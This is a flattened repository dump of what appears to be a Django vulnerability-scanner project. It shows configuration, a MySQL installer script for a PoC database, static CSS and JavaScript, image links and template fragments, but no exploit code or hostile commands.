| # Create your tests here. 4 | -------------------------------------------------------------------------------- /VulnScanModel/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | -------------------------------------------------------------------------------- /__pycache__/manage.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/__pycache__/manage.cpython-37.pyc -------------------------------------------------------------------------------- /config.ini: -------------------------------------------------------------------------------- 1 | [global] 2 | ip = 127.0.0.1 3 | port = 3306 4 | table = scan 5 | uname = {username} 6 | passwd = {password} -------------------------------------------------------------------------------- /images/Image [10].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [10].png -------------------------------------------------------------------------------- /images/Image [11].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [11].png -------------------------------------------------------------------------------- /images/Image [12].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [12].png -------------------------------------------------------------------------------- /images/Image [13].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [13].png -------------------------------------------------------------------------------- /images/Image [14].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [14].png -------------------------------------------------------------------------------- /images/Image [15].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [15].png -------------------------------------------------------------------------------- /images/Image [16].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [16].png -------------------------------------------------------------------------------- /images/Image [17].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [17].png -------------------------------------------------------------------------------- /images/Image [18].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [18].png -------------------------------------------------------------------------------- /images/Image [19].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [19].png -------------------------------------------------------------------------------- /images/Image [1].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [1].png -------------------------------------------------------------------------------- /images/Image [20].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [20].png -------------------------------------------------------------------------------- /images/Image [21].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [21].png -------------------------------------------------------------------------------- /images/Image [22].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [22].png -------------------------------------------------------------------------------- /images/Image [23].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [23].png -------------------------------------------------------------------------------- /images/Image [24].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [24].png -------------------------------------------------------------------------------- /images/Image [25].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [25].png -------------------------------------------------------------------------------- /images/Image [26].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [26].png -------------------------------------------------------------------------------- /images/Image [27].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [27].png -------------------------------------------------------------------------------- /images/Image [28].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [28].png -------------------------------------------------------------------------------- /images/Image [29].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [29].png -------------------------------------------------------------------------------- /images/Image [2].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [2].png -------------------------------------------------------------------------------- /images/Image [30].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [30].png -------------------------------------------------------------------------------- /images/Image [31].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [31].png -------------------------------------------------------------------------------- /images/Image [32].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [32].png -------------------------------------------------------------------------------- /images/Image [33].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [33].png -------------------------------------------------------------------------------- /images/Image [34].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [34].png -------------------------------------------------------------------------------- /images/Image [35].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [35].png -------------------------------------------------------------------------------- /images/Image [36].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [36].png -------------------------------------------------------------------------------- /images/Image [37].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [37].png -------------------------------------------------------------------------------- /images/Image [38].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [38].png -------------------------------------------------------------------------------- /images/Image [39].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [39].png -------------------------------------------------------------------------------- /images/Image [3].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [3].png -------------------------------------------------------------------------------- /images/Image [40].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [40].png -------------------------------------------------------------------------------- /images/Image [41].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [41].png -------------------------------------------------------------------------------- /images/Image [42].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [42].png -------------------------------------------------------------------------------- /images/Image [43].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [43].png -------------------------------------------------------------------------------- /images/Image [44].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [44].png -------------------------------------------------------------------------------- /images/Image [45].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [45].png -------------------------------------------------------------------------------- /images/Image [46].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [46].png -------------------------------------------------------------------------------- /images/Image [47].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [47].png -------------------------------------------------------------------------------- /images/Image [48].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [48].png -------------------------------------------------------------------------------- /images/Image [49].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [49].png -------------------------------------------------------------------------------- /images/Image [4].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [4].png -------------------------------------------------------------------------------- /images/Image [50].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [50].png -------------------------------------------------------------------------------- /images/Image [51].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [51].png -------------------------------------------------------------------------------- /images/Image [52].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [52].png -------------------------------------------------------------------------------- /images/Image [53].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [53].png -------------------------------------------------------------------------------- /images/Image [54].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [54].png -------------------------------------------------------------------------------- /images/Image [55].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [55].png -------------------------------------------------------------------------------- /images/Image [56].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [56].png -------------------------------------------------------------------------------- /images/Image [57].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [57].png -------------------------------------------------------------------------------- /images/Image [58].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [58].png -------------------------------------------------------------------------------- /images/Image [59].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [59].png -------------------------------------------------------------------------------- /images/Image [5].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [5].png -------------------------------------------------------------------------------- /images/Image [60].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [60].png -------------------------------------------------------------------------------- /images/Image [61].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [61].png -------------------------------------------------------------------------------- /images/Image [62].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [62].png -------------------------------------------------------------------------------- /images/Image [63].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [63].png -------------------------------------------------------------------------------- /images/Image [64].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [64].png -------------------------------------------------------------------------------- /images/Image [65].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [65].png -------------------------------------------------------------------------------- /images/Image [66].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [66].png -------------------------------------------------------------------------------- /images/Image [67].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [67].png -------------------------------------------------------------------------------- /images/Image [68].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [68].png -------------------------------------------------------------------------------- /images/Image [69].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [69].png -------------------------------------------------------------------------------- /images/Image [6].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [6].png -------------------------------------------------------------------------------- /images/Image [70].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [70].png -------------------------------------------------------------------------------- /images/Image [71].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [71].png -------------------------------------------------------------------------------- /images/Image [72].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [72].png -------------------------------------------------------------------------------- /images/Image [73].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [73].png -------------------------------------------------------------------------------- /images/Image [74].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [74].png -------------------------------------------------------------------------------- /images/Image [75].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [75].png -------------------------------------------------------------------------------- /images/Image [76].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [76].png -------------------------------------------------------------------------------- /images/Image [77].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [77].png -------------------------------------------------------------------------------- /images/Image [7].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [7].png -------------------------------------------------------------------------------- /images/Image [8].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [8].png -------------------------------------------------------------------------------- /images/Image [9].png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image [9].png -------------------------------------------------------------------------------- /images/Image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/Image.png -------------------------------------------------------------------------------- /images/image-20210719224540812.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/image-20210719224540812.png -------------------------------------------------------------------------------- /images/image-20210719224617161.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/image-20210719224617161.png -------------------------------------------------------------------------------- /images/image-20210719224734519.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/image-20210719224734519.png -------------------------------------------------------------------------------- /images/image-20210719224858111.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/images/image-20210719224858111.png -------------------------------------------------------------------------------- /install.py: -------------------------------------------------------------------------------- 1 | import configparser 2 | import os 3 | import pymysql 4 | 5 | from django.conf import settings 6 | settings.configure() 7 | 8 | conf = configparser.ConfigParser() 9 | conf.read(os.getcwd() + "/" + "config.ini") 10 | mysql_config = { # for mysql and postgresql 11 | 'host': conf.get('global', 'ip'), 12 | 'port': int(conf.get('global', 'port')), 13 | 'user': conf.get('global', 'uname'), 14 | 'password': conf.get('global', 'passwd'), 15 | 'database': conf.get('global', 'table'), 16 | "connect_timeout": 1 17 | } 18 | 19 | def exec_sql(conn, sql): 20 | pass 21 | 22 | if __name__ == '__main__': 23 | sql_file = open("poc.sql", "rb") 24 | try: 25 | conn = pymysql.connect(**mysql_config) 26 | cursor = conn.cursor() 27 | for i in sql_file: 28 | result = (cursor.execute(i.strip().decode())) 29 | if not result == 1: 30 | print("[-]execute sql fail") 31 | break 32 | conn.commit() 33 | conn.close() 34 | print("[+]install pocs success") 35 | except Exception as e: 36 | print("[-]can't connect to mysql") 37 | -------------------------------------------------------------------------------- /manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'vulscan_Project.settings') 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | urllib3==1.26.2 2 | paramiko==2.7.2 3 | ws4py==0.5.1 4 | Django==3.2.1 5 | pymssql==2.2.1 6 | redis==3.5.3 7 | requests==2.25.0 8 | websockets==8.1 9 | psycopg2==2.8.6 10 | PyMySQL==0.9.3 11 | aiomysql==0.0.21 12 | IPy==1.01 13 | pycryptodome==3.10.1 -------------------------------------------------------------------------------- /statics/css/style.css: -------------------------------------------------------------------------------- 1 | 2 | .panel-title { 3 | font-size: 14px; 4 | } 5 | 6 | a { 7 | color: #262626; 8 | } 9 | 10 | 11 | 12 | .activeTitle { 13 | color: #2b669a; 14 | } 15 | 16 | form .row { 17 | margin: 10px; 18 | } 19 | 20 | .label { 21 | margin-top: 5px; 22 | font-size: small; 23 | } 24 | 25 | .glyphicon-record { 26 | color: coral; 27 | margin-left: 10px; 28 | } 29 | 30 | .glyphicon-eye-close { 31 | color: #2b669a; 32 | } 33 | 34 | .unactiveTitle { 35 | color: #262626; 36 | } 37 | 38 | .glyphicon { 39 | margin-top: 5px; 40 | } 41 | 42 | .row { 43 | margin-bottom: 10px; 44 | } 45 | 46 | .glyphicon-ok { 47 | color: darkgreen; 48 | } 49 | 50 | .glyphicon-remove { 51 | color: darkred; 52 | } 53 | 54 | .glyphicon-stop { 55 | color: darkred; 56 | } 57 | 58 | .glyphicon-play { 59 | color: forestgreen; 60 | } 61 | 62 | a:hover { 63 | text-decoration: none; 64 | } 65 | 66 | a:link { 67 | text-decoration: none; 68 | } 69 | 70 | .label-sm { 71 | font-size: smaller; 72 | } 73 | 74 | .glyphicon .glyphicon-trash { 75 | color: red; 76 | } 77 | 78 | -------------------------------------------------------------------------------- /statics/images/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/statics/images/logo.jpg -------------------------------------------------------------------------------- /statics/js/func.js: -------------------------------------------------------------------------------- 1 | function animate_ico(isPause = false) { 2 | if (isPause !== true) { 3 | $(".glyphicon-refresh").css("animation", "spin 1.5s linear infinite") 4 | $(".progress").addClass("active") 5 | } 6 | $(".glyphicon-play").addClass("glyphicon-stop") 7 | $(".glyphicon-play").removeClass("glyphicon-play") 8 | $(".history-ip").addClass("unactive-ip") 9 | $(".scan-ip").removeClass("unactive-ip") 10 | } 11 | 12 | 13 | function unanimate_ico() { 14 | $(".progress").removeClass("active") 15 | $(".glyphicon-refresh").css("animation", "1") 16 | $(".glyphicon-stop").addClass("glyphicon-play") 17 | $(".glyphicon-stop").removeClass("glyphicon-stop") 18 | } 19 | 20 | $("[data-toggle='popover']").popover(); 21 | $("[data-toggle='popover']").hover(function () { 22 | $(this).popover('show') 23 | }, function () { 24 | $(this).popover('hide') 25 | }) 26 | 27 | 28 | function scan() { 29 | $(".target-ip").html($("#ip").val()) 30 | $(".table").css("display", "") 31 | $(".progress-bar").css("width", "0") 32 | animate_ico() 33 | $("tbody").html("") 34 | 35 | } 36 | 37 | function scan_over() { 38 | $(".history-ip").removeClass("unactive-ip") 39 | $(".scan-ip").addClass("unactive-ip") 40 | $(".progress").removeClass("active") 41 | } 42 | 43 | function reload_process(width, speed = "slow") { 44 | var n_width = $(".progress").width() * width 45 | $(".progress-bar").animate({"width": n_width}) 46 | } 47 | 48 | function stop_process(id) { 49 | $.ajax({ 50 | url: "/scan/stop/", data: {"id": id}, async: false, success: function (data) { 51 | unanimate_ico() 52 | isPause = true 53 | } 54 | }) 55 | } 56 | 57 | $(".ip-list").click(function () { 58 | $(".port-range").html($(this).text().split(" ")[0] + "") 59 | $("#port").val($(this).attr("id")) 60 | }) 61 | -------------------------------------------------------------------------------- /statics/js/jquery.cookie.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * jQuery Cookie Plugin v1.4.1 3 | * https://github.com/carhartl/jquery-cookie 4 | * 5 | * Copyright 2013 Klaus Hartl 6 | * Released under the MIT license 7 | */ 8 | (function (factory) { 9 | if (typeof define === 'function' && define.amd) { 10 | // AMD 11 | define(['jquery'], factory); 12 | } else if (typeof exports === 'object') { 13 | // CommonJS 14 | factory(require('jquery')); 15 | } else { 16 | // Browser globals 17 | factory(jQuery); 18 | } 19 | }(function ($) { 20 | 21 | var pluses = /\+/g; 22 | 23 | function encode(s) { 24 | return config.raw ? s : encodeURIComponent(s); 25 | } 26 | 27 | function decode(s) { 28 | return config.raw ? s : decodeURIComponent(s); 29 | } 30 | 31 | function stringifyCookieValue(value) { 32 | return encode(config.json ? JSON.stringify(value) : String(value)); 33 | } 34 | 35 | function parseCookieValue(s) { 36 | if (s.indexOf('"') === 0) { 37 | // This is a quoted cookie as according to RFC2068, unescape... 38 | s = s.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, '\\'); 39 | } 40 | 41 | try { 42 | // Replace server-side written pluses with spaces. 43 | // If we can't decode the cookie, ignore it, it's unusable. 44 | // If we can't parse the cookie, ignore it, it's unusable. 45 | s = decodeURIComponent(s.replace(pluses, ' ')); 46 | return config.json ? JSON.parse(s) : s; 47 | } catch(e) {} 48 | } 49 | 50 | function read(s, converter) { 51 | var value = config.raw ? s : parseCookieValue(s); 52 | return $.isFunction(converter) ? converter(value) : value; 53 | } 54 | 55 | var config = $.cookie = function (key, value, options) { 56 | 57 | // Write 58 | 59 | if (value !== undefined && !$.isFunction(value)) { 60 | options = $.extend({}, config.defaults, options); 61 | 62 | if (typeof options.expires === 'number') { 63 | var days = options.expires, t = options.expires = new Date(); 64 | t.setTime(+t + days * 864e+5); 65 | } 66 | 67 | return (document.cookie = [ 68 | encode(key), '=', stringifyCookieValue(value), 69 | options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE 70 | options.path ? '; path=' + options.path : '', 71 | options.domain ? '; domain=' + options.domain : '', 72 | options.secure ? '; secure' : '' 73 | ].join('')); 74 | } 75 | 76 | // Read 77 | 78 | var result = key ? undefined : {}; 79 | 80 | // To prevent the for loop in the first place assign an empty array 81 | // in case there are no cookies at all. Also prevents odd result when 82 | // calling $.cookie(). 83 | var cookies = document.cookie ? document.cookie.split('; ') : []; 84 | 85 | for (var i = 0, l = cookies.length; i < l; i++) { 86 | var parts = cookies[i].split('='); 87 | var name = decode(parts.shift()); 88 | var cookie = parts.join('='); 89 | 90 | if (key && key === name) { 91 | // If second argument (value) is a function it's a converter... 92 | result = read(cookie, value); 93 | break; 94 | } 95 | 96 | // Prevent storing a cookie that we couldn't decode. 97 | if (!key && (cookie = read(cookie)) !== undefined) { 98 | result[name] = cookie; 99 | } 100 | } 101 | 102 | return result; 103 | }; 104 | 105 | config.defaults = {}; 106 | 107 | $.removeCookie = function (key, options) { 108 | if ($.cookie(key) === undefined) { 109 | return false; 110 | } 111 | 112 | // Must not alter options, thus extending a fresh object... 113 | $.cookie(key, '', $.extend({}, options, { expires: -1 })); 114 | return !$.cookie(key); 115 | }; 116 | 117 | })); 118 | -------------------------------------------------------------------------------- /statics/js/main.js: -------------------------------------------------------------------------------- 1 | 2 | function changeTitle(title) { 3 | var pre = title.prev("div"); 4 | /*切换折叠指示图标*/ 5 | pre.find("span").toggleClass("glyphicon-chevron-down"); 6 | pre.find("span").toggleClass("glyphicon-chevron-right"); 7 | pre.find("div").toggleClass("activeTitle"); 8 | pre.find("div").toggleClass("unactiveTitle"); 9 | } 10 | 11 | -------------------------------------------------------------------------------- /statics/plugins/bootstrap/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/statics/plugins/bootstrap/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /statics/plugins/bootstrap/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/statics/plugins/bootstrap/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /statics/plugins/bootstrap/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/statics/plugins/bootstrap/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /statics/plugins/bootstrap/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/statics/plugins/bootstrap/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /statics/plugins/bootstrap/js/npm.js: -------------------------------------------------------------------------------- 1 | // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment. 2 | require('../../js/transition.js') 3 | require('../../js/alert.js') 4 | require('../../js/button.js') 5 | require('../../js/carousel.js') 6 | require('../../js/collapse.js') 7 | require('../../js/dropdown.js') 8 | require('../../js/modal.js') 9 | require('../../js/tooltip.js') 10 | require('../../js/popover.js') 11 | require('../../js/scrollspy.js') 12 | require('../../js/tab.js') 13 | require('../../js/affix.js') -------------------------------------------------------------------------------- /templates/main.html: -------------------------------------------------------------------------------- 1 | {% extends "menu.html" %} 2 | {% block mainbody %} 3 | 10 | {% block scanbody %} 11 | {% endblock %} 12 | {% endblock %} -------------------------------------------------------------------------------- /templates/task_list.html: -------------------------------------------------------------------------------- 1 | {% extends "table.html" %} 2 | {% block tablebody %} 3 | 4 | 9 | 10 | 11 | 12 | {% if mode != 'fofa' %} 13 | 14 | {% else %} 15 | 16 | {% endif %} 17 | 18 | 19 | 20 | 21 | 22 | 23 | {% for i in task_list %} 24 | 25 | 26 | 27 | 32 | 33 | 42 | 51 | 56 | 57 | {% endfor %} 58 |
序号扫描范围查询语句任务描述创建日期服务扫描漏洞扫描删除
